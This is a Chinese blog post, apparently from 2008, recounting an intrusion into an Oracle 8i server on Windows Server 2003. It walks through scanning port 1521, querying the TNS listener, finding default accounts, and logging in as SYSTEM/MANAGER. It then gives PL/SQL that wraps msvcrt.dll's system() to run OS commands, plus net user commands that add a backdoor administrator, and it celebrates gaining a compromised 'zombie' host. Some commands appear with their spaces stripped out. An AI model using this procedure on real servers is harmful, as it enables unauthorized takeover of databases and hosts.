一次通過Oracle8i入侵系統之旅(組圖)

idba發表於2008-06-16
最近看了些有關Oracle的安全資料,看後隨手做了一個滲透測試,把過程記錄下來方便日後查閱.先用SuperScan4.0掃描下要測試的主機,速度很快,結果如圖1所示:

一次通過Oracle8i入侵系統之旅(組圖)
  
圖 1
  埠 1521 是 Oracle 的 TNS Listener 預設監聽的埠,通過掃描報告還可以看到Oracle的版本為8i.現在還不知道對方的作業系統版本,看到主機還開放了終端服務,直接連上去看下作業系統版本.如圖 2,

一次通過Oracle8i入侵系統之旅(組圖)
  
圖 2

  確定作業系統版本為 Windows Server 2003 企業版。Oracle 10g 之前的版本預設情況下是允許遠端管理TNSListener 的,這臺主機的 Oracle 版本為 8i,我們通過 TNSListenner來收集下更多的詳細資訊.如果本地安裝了 Oracle 可以直接呼叫 Lsnrctl 連線到測試的主機,如圖 3所示:

一次通過Oracle8i入侵系統之旅(組圖)
  
圖 3

  通過輸入"status "命令我們可以得到 oracle詳細版本(8.1.70.0),作業系統(Windows),跟蹤級別為OFF(說明沒 有開啟稽核),安全性為 OFF(說明沒有設定Listener 口令),日誌檔案的絕對路徑(判斷 Oracle安裝路徑),資料庫的 SID(ccdr).

  要遠端管理 Oracle, 需要知道 IP,資料庫的 SID,和連線的使用者名稱和密碼.IP 和 SID我們已經知道了.接下來用oscanner 工具掃描下要測試主機是否存在預設的密碼.如圖 4 所示.

一次通過Oracle8i入侵系統之旅(組圖)
 圖 4

  看來管理員安裝完 Oracle8i 後就沒有進行進一步的安全配置 , 所有的使用者名稱密碼都是默的.在Oracle中,SYS/SYSTEM 都是具有 DBA 許可權的帳戶,我這裡選擇使用 SYSTEM/MA NAGER來連線資料庫.

  在本地用 Sqlplus 連線到目標 Oracle 資料庫,命令為:

  SqlPlussystem/manager@//victimip:1521/ccdr

  連線成功後,可以通過 PL/SQL 來執行 OS 命令,首先需要建立庫來定位msvcrt.dll檔案.這裡需要使用完整的路徑,通過剛才對主機的查點我們已經知道作業系統為 win2003, 如果系統安裝到 C盤的話 , 那msvcrt.dll預設路徑就為c:\windows\system32\msvcrt.dll.建立庫的命令如下:

  CREATEORREPLACELIBRARYexec_shellAS"c:\windows\system32\msvcrt.dll";

  接下來寫一個過程來呼叫 msvcrt.dll 裡的 system()函式.命令如下:

  CREATEORREPLACEPACKAGEoracmdIS

  PROCEDUREexec(cmdstringINCHAR);

  endoracmd;

  /

  CREATEOREREPLACEPACKAGEBODYoracmdIS

  PROCEDUREexec(cmdstringINCHAR)

  ISEXTERNAL

  NAME"system"

  LIBRARYexec_shell

  LANGUAGEC;

  endoracmd;

  /

  建立完後,就可以執行 OS 命令了.由於主機已經開放了終端服務,所以我這裡新增個管理員,然後連線伺服器.命令如下:

  execoracmd.exec("netusermickeyimissyou/add");

  execoracmd.exec("netlocalgroupadministratorsmickey/add");

  帳戶建立完成後,如圖 5,就可以連線終端服務了,一臺肉雞到手了.:-)

 

一次通過Oracle8i入侵系統之旅(組圖)
   
    圖 5

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/1384/viewspace-349372/,如需轉載,請註明出處,否則將追究法律責任。

相關文章